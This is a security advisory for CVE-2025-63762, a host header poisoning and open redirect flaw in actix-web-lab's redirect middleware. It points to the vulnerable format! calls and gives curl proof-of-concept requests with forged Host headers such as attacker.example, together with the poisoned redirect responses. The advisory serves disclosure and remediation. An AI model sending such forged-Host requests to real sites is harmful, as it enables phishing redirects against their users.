GHSA-vhj5-x93p-67jw actix-web-lab has host header poisoning in redirect middleware can generate attacker-controlled absolute redirects

• crates.io actix-web-lab: < 0.26.0 → fixed in 0.26.0

Summary `actix-web-lab` redirect middleware uses request-derived host information to construct absolute redirect URLs (for example, `https://{hostname}{path}`). In deployments without strict host allowlisting, an attacker can supply a malicious Host header and poison the `Location` response header, causing open redirect/phishing behavior. CVE Assigned CVE ID: CVE-2025-63762 Details The issue is in redirect middleware paths that construct absolute URLs from `req.connection_info()`: 1. `actix-web-lab/src/redirect_to_https.rs` (around lines 119-132) • `let host = conn_info.host();` • `format!("https://{hostname}{path}")` • `format!("https://{hostname}:{port}{path}")` 2. `actix-web-lab/src/redirect_to_www.rs` (around lines 30-35) • `format!("{scheme}://www.{host}{path}")` 3. `actix-web-lab/src/redirect_to_non_www.rs` (around lines 30-34) • `format!("{scheme}://{host_no_www}{path}")` Because host values come from request connection metadata, untrusted Host input can influence redirect targets when deployment-side host validation is missing. PoC Environment used for validation: • Local minimal Actix apps using `actix-web-lab` middleware • RedirectHttps: `http://127.0.0.1:18080` • redirect_to_www: `http://127.0.0.1:18081` • redirect_to_non_www: `http://127.0.0.1:18082` Reproduction (RedirectHttps): ```bash curl.exe -i -s "http://127.0.0.1:18080/test" -H "Host: attacker.example" ``` Observed response: ```http HTTP/1.1 307 Temporary Redirect location: https://attacker.example/test ``` Additional verification: ```bash curl.exe -i -s "http://127.0.0.1:18080/abc/def" -H "Host: evil.example:9999" ``` Observed response: ```http HTTP/1.1 307 Temporary Redirect location: https://evil.example/abc/def ``` Reproduction (redirect_to_www): ```bash curl.exe -i -s "http://127.0.0.1:18081/hello" -H "Host: attacker.example" ``` Observed response: ```http HTTP/1.1 307 Temporary Redirect location: http://www.attacker.example/hello ``` Reproduction (redirect_to_non_www): ```bash curl.exe -i -s "http://127.0.0.1:18082/path" -H "Host: www.attacker.example" ``` Observed response: ```http HTTP/1.1 307 Temporary Redirect location: http://attacker.example/path ``` Impact This is a Host header poisoning / open redirect issue. Users can be redirected to attacker-controlled domains, enabling phishing and trust-boundary abuse. Any application using these middleware paths without strict host validation (proxy/app allowlisting) is impacted.